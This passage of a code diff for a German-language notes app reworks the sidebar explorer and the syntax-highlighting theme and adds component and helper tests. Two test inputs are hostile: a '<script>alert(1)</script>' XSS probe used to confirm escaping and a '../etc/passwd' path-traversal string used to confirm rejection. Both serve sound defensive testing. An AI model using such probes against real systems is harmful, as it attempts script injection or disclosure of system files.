[filteredDocs]
() => docs.filter((d) => d.isPinned),
[docs]
);
const rootDocs = useMemo(
() => filteredDocs.filter((d) => !d.folderPath),
[filteredDocs]
() => docs.filter((d) => !d.folderPath && !d.isPinned),
[docs]
);
// Global To-Dos rollup collections
@@ -969,22 +1027,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
return map;
}, [allRollupTodos]);
const rollupTodosByNote = useMemo(() => {
const map = new Map<
string,
{ doc: Document; items: { doc: Document; blockId: string; content: string; checked: boolean }[] }
>();
for (const item of allRollupTodos) {
const existing = map.get(item.doc.id);
if (existing) {
existing.items.push(item);
} else {
map.set(item.doc.id, { doc: item.doc, items: [item] });
}
}
return map;
}, [allRollupTodos]);
const totalOpenTodos = useMemo(() => {
let count = 0;
for (const d of docs) {
@@ -1223,7 +1265,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
>
<FileText className="w-3.5 h-3.5 text-accent" />
<span>Notizen</span>
{docs.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{docs.length}</span>}
</button>
<button
@@ -1239,8 +1280,10 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
}`}
>
<Check className="w-3.5 h-3.5 text-status-ok" />
<span>To-Dos</span>
{totalOpenTodos > 0 && <span className="ml-1 badge-neutral text-[10px]">{totalOpenTodos}</span>}
<span className={`relative inline-flex items-center ${totalOpenTodos > 0 ? 'pr-3' : ''}`}>
To-Dos
<CountBadge count={totalOpenTodos} position="corner" className="-top-0.5 -right-2" />
</span>
</button>
<button
@@ -1256,8 +1299,10 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
}`}
>
<Hash className="w-3.5 h-3.5 text-accent" />
<span>Hashtags</span>
{tagsSummary.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{tagsSummary.length}</span>}
<span className={`relative inline-flex items-center ${tagsSummary.length > 0 ? 'pr-3' : ''}`}>
Hashtags
<CountBadge count={tagsSummary.length} position="corner" className="-top-0.5 -right-2" />
</span>
</button>
</div>
@@ -1354,138 +1399,130 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
</div>
</div>
{/* Search Input */}
<div className="relative">
<Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
<input
type="text"
value={searchQuery}
onChange={(e) => setSearchQuery(e.target.value)}
placeholder="Notizen oder #Tags suchen…"
className="input-field w-full pl-8 pr-6 py-1 text-xs"
/>
{searchQuery && (
<button
type="button"
onClick={() => setSearchQuery('')}
className="absolute right-2 top-1/2 -translate-y-1/2 text-faint hover:text-main"
>
<X className="w-3.5 h-3.5" />
</button>
)}
</div>
{/* Opens the global full-text search, which also finds the content of every bullet */}
{onOpenSearch && (
<button
type="button"
onClick={onOpenSearch}
className="input-field w-full h-11 sm:h-7 px-2.5 flex items-center gap-2 text-xs text-faint hover:text-main cursor-pointer"
title="Globale Suche (Strg+K / ⌘K oder /)"
>
<Search className="w-3.5 h-3.5 shrink-0" />
<span className="flex-1 text-left truncate">Notizen durchsuchen…</span>
<span className="hidden sm:inline font-mono text-[10px]">⌘K</span>
</button>
)}
</div>
{/* Scrollable Navigation Tree */}
<div className="flex-1 overflow-y-auto p-2 space-y-3">
{/* Pinned Notes */}
{pinnedDocs.length > 0 && !searchQuery && (
{pinnedDocs.length === 0 && folderTree.length === 0 && rootDocs.length === 0 ? (
<div className="px-2 py-2 text-xs text-muted">Noch keine Notizen</div>
) : (
<div>
<div className="px-2 mb-1 flex items-center gap-1 text-[10px] font-bold uppercase tracking-wider text-faint">
<Pin className="w-3 h-3 text-status-warn" />
<span>Angeheftet</span>
</div>
<div className="space-y-0.5">
{pinnedDocs.map((d) => (
<div
key={`pin-${d.id}`}
draggable
onDragStart={(e) => handleDocDragStart(e, d.id)}
onClick={() => {
setSelectedDocId(d.id);
setSubView('editor');
setMobileShowDetail(true);
}}
className={`w-full flex items-center gap-2 px-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
selectedDocId === d.id && subView === 'editor'
? 'bg-panel-elevated text-main font-semibold border-border/80'
: 'border-transparent text-main hover:bg-panel-elevated'
}`}
>
<span>{d.icon || '📝'}</span>
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
</div>
))}
</div>
{/* Pinned Notes */}
{pinnedDocs.length > 0 && (
<div
className={`space-y-0.5 ${
folderTree.length > 0 || rootDocs.length > 0
? 'border-b border-border pb-1.5 mb-1.5'
: ''
}`}
>
{pinnedDocs.map((d) => (
<div
key={`pin-${d.id}`}
draggable
onDragStart={(e) => handleDocDragStart(e, d.id)}
{...docDropProps(d.id)}
onClick={() => {
setSelectedDocId(d.id);
setSubView('editor');
setMobileShowDetail(true);
}}
className={`w-full flex items-center gap-2 px-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
mergeHoverId === d.id
? 'border-accent bg-accent/15 ring-2 ring-accent/30 text-main'
: selectedDocId === d.id && subView === 'editor'
? 'bg-panel-elevated text-main font-semibold border-border/80'
: 'border-transparent text-main hover:bg-panel-elevated'
}`}
>
<span className="shrink-0">{d.icon || '📝'}</span>
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
{d.sharedWith && d.sharedWith.length > 0 && (
<Users className="w-3 h-3 text-status-ok shrink-0" />
)}
<Pin className="w-3 h-3 text-muted shrink-0" />
</div>
))}
</div>
)}
{/* Folders and Root Documents */}
{(folderTree.length > 0 || rootDocs.length > 0) && (
<div className="space-y-0.5">
{folderTree.map((node) => (
<FolderTreeItem
key={node.fullPath}
node={node}
depth={0}
expandedFolders={expandedFolders}
setExpandedFolders={setExpandedFolders}
selectedDocId={selectedDocId}
subView={subView}
dragOverFolder={dragOverFolder}
setDragOverFolder={setDragOverFolder}
handleDropOnFolder={handleDropOnFolder}
handleFolderDragStart={handleFolderDragStart}
handleDocDragStart={handleDocDragStart}
handleCreateDocument={handleCreateDocument}
handleOpenNewFolder={handleOpenNewFolder}
handleShareFolderClick={handleShareFolderClick}
handleDeleteFolder={handleDeleteFolder}
onSelectDoc={(id) => {
setSelectedDocId(id);
setTargetBlockId(null);
setNewlyCreatedDocId(null);
setSubView('editor');
setMobileShowDetail(true);
}}
docDropProps={docDropProps}
mergeHoverId={mergeHoverId}
/>
))}
{rootDocs.map((d) => (
<div
key={d.id}
draggable
onDragStart={(e) => handleDocDragStart(e, d.id)}
{...docDropProps(d.id)}
onClick={() => {
setSelectedDocId(d.id);
setSubView('editor');
setMobileShowDetail(true);
}}
className={`w-full flex items-center gap-2 px-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
mergeHoverId === d.id
? 'border-accent bg-accent/15 ring-2 ring-accent/30 text-main'
: selectedDocId === d.id && subView === 'editor'
? 'bg-panel-elevated text-main font-semibold border-border/80'
: 'border-transparent text-main hover:bg-panel-elevated'
}`}
>
<span className="shrink-0">{d.icon || '📝'}</span>
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
{d.sharedWith && d.sharedWith.length > 0 && (
<Users className="w-3 h-3 text-status-ok shrink-0" />
)}
</div>
))}
</div>
)}
</div>
)}
{/* Folders Tree with Recursive Hierarchical Nesting */}
{folderTree.length > 0 && (
<div>
<div className="px-2 mb-1 text-[10px] font-bold uppercase tracking-wider text-faint">
Ordner
</div>
<div className="space-y-0.5">
{folderTree.map((node) => (
<FolderTreeItem
key={node.fullPath}
node={node}
depth={0}
expandedFolders={expandedFolders}
setExpandedFolders={setExpandedFolders}
selectedDocId={selectedDocId}
subView={subView}
dragOverFolder={dragOverFolder}
setDragOverFolder={setDragOverFolder}
handleDropOnFolder={handleDropOnFolder}
handleFolderDragStart={handleFolderDragStart}
handleDocDragStart={handleDocDragStart}
handleCreateDocument={handleCreateDocument}
handleOpenNewFolder={handleOpenNewFolder}
handleShareFolderClick={handleShareFolderClick}
handleDeleteFolder={handleDeleteFolder}
onSelectDoc={(id) => {
setSelectedDocId(id);
setTargetBlockId(null);
setNewlyCreatedDocId(null);
setSubView('editor');
setMobileShowDetail(true);
}}
/>
))}
</div>
</div>
)}
{/* Root Documents */}
<div>
<div className="px-2 mb-1 text-[10px] font-bold uppercase tracking-wider text-faint">
Notizen (Hauptebene)
</div>
{rootDocs.length === 0 ? (
<div className="px-2 py-2 text-xs text-faint italic">
Keine Notizen auf der Hauptebene.
</div>
) : (
<div className="space-y-0.5">
{rootDocs.map((d) => (
<div
key={d.id}
draggable
onDragStart={(e) => handleDocDragStart(e, d.id)}
onClick={() => {
setSelectedDocId(d.id);
setSubView('editor');
setMobileShowDetail(true);
}}
className={`w-full flex items-center gap-2 px-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
selectedDocId === d.id && subView === 'editor'
? 'bg-panel-elevated text-main font-semibold border-border/80'
: 'border-transparent text-main hover:bg-panel-elevated'
}`}
>
<span>{d.icon || '📝'}</span>
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
{d.sharedWith && d.sharedWith.length > 0 && (
<Users className="w-3 h-3 text-status-ok shrink-0" />
)}
</div>
))}
</div>
)}
</div>
{/* Bottom drop target for moving to root */}
{(draggingDocId || draggingFolderPath) && (
<div
@@ -1584,6 +1621,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
onSelectTag={handleSelectTag}
onWikiLinkClick={handleWikiLinkClick}
onOpenDocBlock={handleJumpToDocBlock}
onRequestMerge={(d) => setMergeDialog({ sourceId: d.id })}
onBackMobile={() => setMobileShowDetail(false)}
onOpenTask={onOpenTask}
onSaveStatusChange={(status, err) => {
@@ -2308,6 +2346,38 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
</FormSheet>
)}
{mergeDialog && (
<MergeDialog
docs={docs}
sourceId={mergeDialog.sourceId}
targetId={mergeDialog.targetId}
onClose={() => setMergeDialog(null)}
onMerged={(r) => void handleMerged(r)}
/>
)}
{toast && (
<div
role="status"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-6 z-50 max-w-[calc(100vw-1.5rem)] px-3 py-2 rounded-card text-xs text-main bg-panel-elevated border border-border shadow-panel flex items-center gap-3"
>
<span>{toast.text}</span>
{toast.actions.map((a) => (
<button
key={a.label}
type="button"
onClick={() => {
setToast(null);
a.run();
}}
className="font-semibold text-accent hover:underline min-h-[44px] sm:min-h-0 shrink-0"
>
{a.label}
</button>
))}
</div>
)}
{/* Unified Sharing Modal (Strictly Read-Only for Docs and Folders) */}
{(shareModalDoc || shareModalFolder) && (
<UnifiedShareModal
@@ -0,0 +1,212 @@
import React, { useState } from 'react';
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { render, fireEvent, screen, waitFor, act } from '@testing-library/react';
import { CodeBlockEditor, loadPrismLanguage } from '../CodeBlockEditor';
import { OutlinerBlock } from '../OutlinerBlock';
import { DocumentBlock } from '../../../lib/types';
function makeCodeBlock(overrides: Partial<DocumentBlock> = {}): DocumentBlock {
return {
id: 'code-1',
type: 'code',
content: 'name: mindsift\nport: 8080',
level: 0,
position: 1000,
...overrides,
};
}
function renderOutlinerCodeBlock(
initialBlock: DocumentBlock,
props: Partial<React.ComponentProps<typeof OutlinerBlock>> = {}
) {
const updates: DocumentBlock[] = [];
const indentCalls: Array<[string, 1 | -1]> = [];
const Wrapper: React.FC = () => {
const [blk, setBlk] = useState<DocumentBlock>(initialBlock);
return (
<OutlinerBlock
docId="doc-1"
block={blk}
index={0}
isLast
maxAllowedLevel={1}
hasChildren={false}
isFocused={false}
canEdit={props.canEdit ?? true}
onUpdateBlock={(updated, immediate) => {
updates.push(updated);
setBlk(updated);
props.onUpdateBlock?.(updated, immediate);
}}
onCreateBlockBelow={props.onCreateBlockBelow || (() => {})}
onDeleteBlock={props.onDeleteBlock || (() => {})}
onIndentBlock={(id, delta) => {
indentCalls.push([id, delta]);
props.onIndentBlock?.(id, delta);
}}
onNavigateFocus={props.onNavigateFocus || (() => {})}
registerTextareaRef={props.registerTextareaRef || (() => {})}
/>
);
};
const utils = render(<Wrapper />);
return { ...utils, updates, indentCalls };
}
describe('CodeBlockEditor', () => {
beforeEach(() => {
vi.useRealTimers();
});
afterEach(() => {
vi.restoreAllMocks();
});
it('calls update with lang when selecting a language and hides the picker for readers', () => {
const { container, updates, unmount } = renderOutlinerCodeBlock(makeCodeBlock({ lang: undefined }));
const select = container.querySelector('select') as HTMLSelectElement;
expect(select).toBeTruthy();
expect(select.value).toBe('');
fireEvent.change(select, { target: { value: 'yaml' } });
expect(updates).toHaveLength(1);
expect(updates[0].lang).toBe('yaml');
expect(select.value).toBe('yaml');
// "Als Text" converts the code block back to a bullet
fireEvent.click(screen.getByRole('button', { name: 'Als Text' }));
expect(updates[updates.length - 1]?.type).toBe('bullet');
unmount();
// Reader view (!canEdit): shows plain text instead of <select> and hides "Als Text"
const readerView = render(
<CodeBlockEditor block={makeCodeBlock({ lang: 'yaml' })} canEdit={false} />
);
expect(readerView.container.querySelector('select')).toBeNull();
expect(readerView.getByText('yaml')).toBeTruthy();
expect(readerView.queryByText('Als Text')).toBeNull();
});
it('copies the code content to the clipboard and shows "Kopiert!" for 1.5s', () => {
vi.useFakeTimers();
const writeTextMock = vi.fn().mockResolvedValue(undefined);
Object.defineProperty(navigator, 'clipboard', {
value: { writeText: writeTextMock },
configurable: true,
writable: true,
});
const block = makeCodeBlock({ content: 'echo "hello world"' });
render(<CodeBlockEditor block={block} content={block.content} canEdit />);
const copyBtn = screen.getByRole('button', { name: /Kopieren/i });
fireEvent.click(copyBtn);
expect(writeTextMock).toHaveBeenCalledWith('echo "hello world"');
expect(screen.getByText('Kopiert!')).toBeTruthy();
act(() => {
vi.advanceTimersByTime(1500);
});
expect(screen.queryByText('Kopiert!')).toBeNull();
expect(screen.getByText('Kopieren')).toBeTruthy();
});
it('indents by 2 spaces on Tab and outdents on Shift+Tab without indenting the bullet', () => {
const { container, updates, indentCalls } = renderOutlinerCodeBlock(
makeCodeBlock({ content: 'key: value', lang: 'yaml' })
);
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
textarea.focus();
textarea.setSelectionRange(0, 0);
fireEvent.keyDown(textarea, { key: 'Tab' });
expect(textarea.value).toBe(' key: value');
expect(updates[updates.length - 1]?.content).toBe(' key: value');
expect(indentCalls).toHaveLength(0);
fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
expect(textarea.value).toBe('key: value');
expect(updates[updates.length - 1]?.content).toBe('key: value');
expect(indentCalls).toHaveLength(0);
});
it('indents and outdents multiple selected lines on Tab and Shift+Tab', () => {
const { container } = renderOutlinerCodeBlock(
makeCodeBlock({ content: 'first: 1\nsecond: 2', lang: 'yaml' })
);
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
textarea.focus();
textarea.setSelectionRange(0, textarea.value.length);
fireEvent.keyDown(textarea, { key: 'Tab' });
expect(textarea.value).toBe(' first: 1\n second: 2');
fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
expect(textarea.value).toBe('first: 1\nsecond: 2');
});
it('renders Prism .token spans for yaml and escapes HTML tags like <script>', async () => {
const code = 'title: "<script>alert(1)</script>"\nenabled: true\ncount: 42';
const block = makeCodeBlock({ content: code, lang: 'yaml' });
const { container } = render(<CodeBlockEditor block={block} content={code} canEdit />);
await waitFor(() => {
expect(container.querySelectorAll('.token').length).toBeGreaterThan(0);
});
const pre = container.querySelector('pre') as HTMLPreElement;
const codeEl = pre.querySelector('code') as HTMLElement;
expect(pre.getAttribute('aria-hidden')).toBe('true');
expect(codeEl.querySelectorAll('.token').length).toBeGreaterThan(0);
// Ensure no real <script> element was injected into the DOM and raw HTML is escaped
expect(pre.querySelector('script')).toBeNull();
expect(codeEl.innerHTML).toContain('&lt;script&gt;');
expect(pre.textContent).toContain('<script>alert(1)</script>');
});
it('loads dependent grammars in the right order (tsx, cpp, php, scala)', async () => {
expect(await loadPrismLanguage('tsx')).toBe(true);
expect(await loadPrismLanguage('cpp')).toBe(true);
expect(await loadPrismLanguage('php')).toBe(true);
expect(await loadPrismLanguage('scala')).toBe(true);
});
it('sets lang directly when typing /code yaml or ```yaml in an empty bullet block', () => {
const bulletBlock: DocumentBlock = {
id: 'b-1',
type: 'bullet',
content: '',
level: 0,
position: 1000,
};
const { container, updates } = renderOutlinerCodeBlock(bulletBlock);
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
fireEvent.change(textarea, { target: { value: '/code yaml' } });
expect(updates[updates.length - 1]?.type).toBe('code');
expect(updates[updates.length - 1]?.lang).toBe('yaml');
expect(updates[updates.length - 1]?.content).toBe('');
// Also test ```json shortcut
const bulletBlock2: DocumentBlock = {
id: 'b-2',
type: 'bullet',
content: '',
level: 0,
position: 2000,
};
const res2 = renderOutlinerCodeBlock(bulletBlock2);
const ta2 = res2.container.querySelector('textarea') as HTMLTextAreaElement;
fireEvent.change(ta2, { target: { value: '```json' } });
expect(res2.updates[res2.updates.length - 1]?.type).toBe('code');
expect(res2.updates[res2.updates.length - 1]?.lang).toBe('json');
});
});
@@ -0,0 +1,30 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
import { TrashView } from '../TrashView';
const items = [
{ id: 'doc_1', title: 'Urlaub', icon: '🏔️', folderPath: 'Privat', deletedAt: '2026-10-29T08:00:00Z', isOwner: true },
];
describe('TrashView', () => {
it('deletes for good only on the second tap', async () => {
const onPurge = vi.fn(async () => {});
render(<TrashView items={items} onOpen={vi.fn()} onRestore={vi.fn(async () => {})} onPurge={onPurge} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
fireEvent.click(screen.getByText('Endgültig löschen'));
expect(onPurge).not.toHaveBeenCalled();
await act(async () => {
fireEvent.click(screen.getByText('Wirklich löschen?'));
});
expect(onPurge).toHaveBeenCalledWith('doc_1');
});
it('restores with one tap and shows the original folder', async () => {
const onRestore = vi.fn(async () => {});
render(<TrashView items={items} onOpen={vi.fn()} onRestore={onRestore} onPurge={vi.fn(async () => {})} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
expect(screen.getByText('Privat')).toBeTruthy();
await act(async () => {
fireEvent.click(screen.getByText('Wiederherstellen'));
});
expect(onRestore).toHaveBeenCalledWith('doc_1');
});
});
@@ -0,0 +1,165 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, waitFor } from '@testing-library/react';
import { WorkspaceView } from '../WorkspaceView';
import { api } from '../../../lib/api';
import { Document } from '../../../lib/types';
vi.mock('../DocumentEditor', () => ({
DocumentEditor: () => <div data-testid="document-editor">DocumentEditor</div>,
}));
vi.mock('../../../lib/api', async (importOriginal) => {
const actual = await importOriginal<typeof import('../../../lib/api')>();
return {
...actual,
api: {
...actual.api,
getDocuments: vi.fn(),
getFolders: vi.fn(),
getSharedFolders: vi.fn(),
getWorkspaceTags: vi.fn(),
getTrash: vi.fn(),
},
onWebSocketMessage: vi.fn(() => () => {}),
triggerHaptic: vi.fn(),
};
});
const makeDoc = (overrides: Partial<Document> & { id: string; title: string }): Document => ({
id: overrides.id,
userId: 'u1',
title: overrides.title,
icon: '📝',
folderPath: '',
content: '',
blocks: [],
tags: [],
isPinned: false,
isArchived: false,
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
...overrides,
});
describe('WorkspaceView sidebar explorer', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.mocked(api.getFolders).mockResolvedValue([]);
vi.mocked(api.getSharedFolders).mockResolvedValue([]);
vi.mocked(api.getWorkspaceTags).mockResolvedValue([]);
vi.mocked(api.getTrash).mockResolvedValue([]);
});
it('renders empty state "Noch keine Notizen" when there are no notes and no folders', async () => {
vi.mocked(api.getDocuments).mockResolvedValue([]);
vi.mocked(api.getFolders).mockResolvedValue([]);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
expect(screen.getByText('Noch keine Notizen')).toBeTruthy();
});
expect(screen.queryByText('Angeheftet')).toBeNull();
expect(screen.queryByText('Ordner')).toBeNull();
expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
});
it('renders pinned docs, folders, and root docs without headings', async () => {
const docs: Document[] = [
makeDoc({
id: 'doc_pin_root',
title: 'Wichtige Pinned Notiz',
icon: '⭐',
isPinned: true,
}),
makeDoc({
id: 'doc_root',
title: 'Normale Root Notiz',
icon: '📝',
}),
makeDoc({
id: 'doc_in_folder',
title: 'Projekt Plan',
icon: '📄',
folderPath: 'Projekte',
}),
];
vi.mocked(api.getDocuments).mockResolvedValue(docs);
vi.mocked(api.getFolders).mockResolvedValue(['Projekte']);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
expect(screen.getByText('Wichtige Pinned Notiz')).toBeTruthy();
expect(screen.getByText('Normale Root Notiz')).toBeTruthy();
expect(screen.getByText('Projekte')).toBeTruthy();
});
// Ensure no old headings are rendered
expect(screen.queryByText('Angeheftet')).toBeNull();
expect(screen.queryByText('Ordner')).toBeNull();
expect(screen.queryByText('Notizen (Hauptebene)')).toBeNull();
expect(screen.queryByText('Keine Notizen auf der Hauptebene.')).toBeNull();
// The pinned root doc appears only once
const pinnedMatches = screen.getAllByText('Wichtige Pinned Notiz');
expect(pinnedMatches.length).toBe(1);
// Pinned container has separator when items follow
const pinnedItem = screen.getByText('Wichtige Pinned Notiz').closest('div[draggable="true"]');
const pinnedContainer = pinnedItem?.parentElement;
expect(pinnedContainer?.className).toContain('border-b border-border pb-1.5 mb-1.5');
});
it('does not render separator under pinned notes when nothing follows', async () => {
const docs: Document[] = [
makeDoc({
id: 'doc_pin_only',
title: 'Einzige Notiz Pinned',
icon: '⭐',
isPinned: true,
}),
];
vi.mocked(api.getDocuments).mockResolvedValue(docs);
vi.mocked(api.getFolders).mockResolvedValue([]);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
expect(screen.getByText('Einzige Notiz Pinned')).toBeTruthy();
});
const pinnedItem = screen.getByText('Einzige Notiz Pinned').closest('div[draggable="true"]');
const pinnedContainer = pinnedItem?.parentElement;
expect(pinnedContainer?.className).not.toContain('border-b');
});
it('keeps pinned note in folder visible in its folder', async () => {
const docs: Document[] = [
makeDoc({
id: 'doc_pin_in_folder',
title: 'Pinned im Ordner',
icon: '📌',
folderPath: 'Team',
isPinned: true,
}),
];
vi.mocked(api.getDocuments).mockResolvedValue(docs);
vi.mocked(api.getFolders).mockResolvedValue(['Team']);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
// In pinned list
expect(screen.getByText('Pinned im Ordner')).toBeTruthy();
// Folder exists
expect(screen.getByText('Team')).toBeTruthy();
});
});
});
+102 -33
View File
@@ -80,6 +80,12 @@ body {
border-radius: var(--radius-card);
}
/* An explicit rounded-full (round icon buttons, avatars) wins over the theme radius above */
.bg-panel.border.rounded-full,
.bg-canvas.border.rounded-full {
border-radius: 9999px;
}
/* Quick-Capture-Blase im Header (immer vollständig abgerundet) */
.capture-pill,
.capture-pill.bg-panel.border {
@@ -405,62 +411,106 @@ body {
color: var(--text-main);
}
/* Prism Syntax Highlighting Tokens */
/* Prism Syntax Highlighting Tokens (VS Code Dark+ / Light+ via Theme Variables) */
:root {
--code-keyword: #569cd6;
--code-string: #ce9178;
--code-number: #b5cea8;
--code-comment: #6a9955;
--code-property: #9cdcfe;
--code-function: #dcdcaa;
--code-type: #4ec9b0;
--code-punctuation: #d4d4d4;
--code-variable: #9cdcfe;
}
:root:not(.dark),
:root[data-theme="light"] {
--code-keyword: #0000ff;
--code-string: #a31515;
--code-number: #098658;
--code-comment: #008000;
--code-property: #0451a5;
--code-function: #795e26;
--code-type: #267f99;
--code-punctuation: #3b3b3b;
--code-variable: #001080;
}
.token.comment,
.token.prolog,
.token.doctype,
.token.cdata {
color: #71717a;
color: var(--code-comment);
font-style: italic;
}
.token.punctuation {
color: #94a3b8;
.token.punctuation,
.token.operator {
color: var(--code-punctuation);
}
.token.property,
.token.tag,
.token.boolean,
.token.key,
.token.attr-name {
color: var(--code-property);
}
.token.string,
.token.char,
.token.attr-value,
.token.scalar,
.token.inserted,
.language-css .token.string,
.style .token.string {
color: var(--code-string);
}
.token.number,
.token.constant,
.token.symbol,
.token.deleted {
color: #f43f5e;
}
.token.selector,
.token.attr-name,
.token.string,
.token.char,
.token.builtin,
.token.inserted {
color: #10b981;
}
.token.operator,
.token.entity,
.token.url,
.language-css .token.string,
.style .token.string {
color: #38bdf8;
.token.datetime {
color: var(--code-number);
}
.token.keyword,
.token.boolean,
.token.null,
.token.atrule,
.token.attr-value,
.token.keyword {
color: #818cf8;
font-weight: 600;
.token.directive,
.token.tag,
.token.deleted {
color: var(--code-keyword);
}
.token.key.atrule {
color: var(--code-property);
}
.token.function,
.token.class-name {
color: #fbbf24;
.token.function-variable {
color: var(--code-function);
}
.token.class-name,
.token.type,
.token.builtin,
.token.namespace {
color: var(--code-type);
}
.token.variable,
.token.regex,
.token.important,
.token.variable {
color: #f97316;
.token.selector,
.token.entity,
.token.url {
color: var(--code-variable);
}
.token.boolean.important,
.token.null.important {
color: var(--code-keyword);
}
}
@@ -493,3 +543,22 @@ body {
padding-bottom: 6px !important;
}
}
/* Read-only sections (e.g. server settings in the demo): everything inside looks switched off */
fieldset:disabled :is(button, input, select, textarea) {
opacity: 0.5;
cursor: not-allowed;
}
/* Outliner: indent per level and the width a row keeps for its text. Phones indent less and let very
deep rows run wider than the screen (the note then scrolls sideways) instead of squeezing the text. */
:root {
--outline-indent: 14px;
--outline-min-text: 14rem;
}
@media (min-width: 640px) {
:root {
--outline-indent: 22px;
--outline-min-text: 0px;
}
}
@@ -0,0 +1,21 @@
import { describe, expect, it } from 'vitest';
import { firstBareUrl, hidePreviewContent } from '../linkPreview';
describe('link preview helpers', () => {
it('finds the first plain https address', () => {
expect(firstBareUrl('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
expect(firstBareUrl('Rezept: https://koch.de/spaetzle, lecker!')).toBe('https://koch.de/spaetzle');
expect(firstBareUrl('siehe (https://x.de/p).')).toBeNull(); // inside brackets: not a plain address
expect(firstBareUrl('[Kochseite](https://koch.de)')).toBeNull();
expect(firstBareUrl('http://unsicher.de')).toBeNull();
expect(firstBareUrl('nur Text')).toBeNull();
});
it('hides a preview by turning the address into a named link', () => {
expect(hidePreviewContent('Lesen: https://koch.de/x', 'https://koch.de/x', 'Käsespätzle [Rezept]')).toBe(
'Lesen: [Käsespätzle Rezept](https://koch.de/x)'
);
expect(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', '')).toBe('[koch.de](https://koch.de/x)');
expect(firstBareUrl(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', 'T'))).toBeNull();
});
});
+19
View File
@@ -0,0 +1,19 @@
import { describe, expect, it } from 'vitest';
import { mediaContent, parseMediaContent } from '../media';
describe('media content format', () => {
it('round-trips captions, also with brackets and backslashes', () => {
for (const caption of ['', 'Urlaub 2026', 'Plan [Entwurf]', 'C:\\Fotos\\x', 'zwei\nZeilen']) {
const content = mediaContent('image', 'med_0123abcd', caption);
expect(content.startsWith('![')).toBe(true);
expect(parseMediaContent(content)).toEqual({ id: 'med_0123abcd', caption: caption.replace(/\n/g, ' ') });
}
expect(mediaContent('audio', 'med_ff', 'Sprachnotiz')).toBe('[Sprachnotiz](media:med_ff)');
});
it('ignores anything that is not a media reference', () => {
expect(parseMediaContent('![x](https://example.com/a.png)')).toBeNull();
expect(parseMediaContent('Text ![x](media:med_aa)')).toBeNull();
expect(parseMediaContent('![x](media:../etc/passwd)')).toBeNull();
});
});
@@ -0,0 +1,11 @@
import { describe, it, expect } from 'vitest';
import { passwordProblem } from '../password';
describe('passwordProblem (same rule as the server)', () => {
it('needs 8 characters, counted as characters', () => {
expect(passwordProblem('kurz')).toMatch(/mindestens 8 Zeichen/);
expect(passwordProblem(' ')).toMatch(/mindestens 8 Zeichen/);
expect(passwordProblem('geheim12')).toBeNull();
expect(passwordProblem('äöüßäöüß')).toBeNull();
});
});
+13 -5
View File
@@ -62,7 +62,7 @@ describe('realtime fallback', () => {
vi.stubGlobal('EventSource', FakeEventSource);
sessionStorage.clear();
localStorage.setItem('mindsift_jwt_token', 'test-token');
vi.stubGlobal('fetch', vi.fn(async () => new Response('{}', { status: 200 })));
vi.stubGlobal('fetch', vi.fn(async () => new Response('{"ticket":"t1"}', { status: 200 })));
});
afterEach(() => {
vi.useRealTimers();
@@ -73,7 +73,7 @@ describe('realtime fallback', () => {
const api = await loadApi();
const states: string[] = [];
api.onRealtimeStatus((connected, transport) => states.push(`${connected}:${transport}`));
api.connectWebSocket();
await api.connectWebSocket();
FakeWebSocket.instances[0].open();
expect(api.getRealtimeTransport()).toBe('ws');
@@ -87,9 +87,17 @@ describe('realtime fallback', () => {
api.disconnectWebSocket();
});
it('connects with a one-time ticket, never with the session token in the URL', async () => {
const api = await loadApi();
await api.connectWebSocket();
expect(FakeWebSocket.instances[0].url).toContain('ticket=t1');
expect(FakeWebSocket.instances[0].url).not.toContain('test-token');
api.disconnectWebSocket();
});
it('a WebSocket answering PONG stays in use', async () => {
const api = await loadApi();
api.connectWebSocket();
await api.connectWebSocket();
const ws = FakeWebSocket.instances[0];
ws.open();
for (let i = 0; i < 6; i++) {
@@ -104,7 +112,7 @@ describe('realtime fallback', () => {
it('SSE only counts as connected once the first event arrives', async () => {
sessionStorage.setItem('mindsift_ws_blocked', 'true');
const api = await loadApi();
api.connectWebSocket();
await api.connectWebSocket();
const es = FakeEventSource.instances[0];
es.open();
expect(api.isRealtimeConnected()).toBe(false);
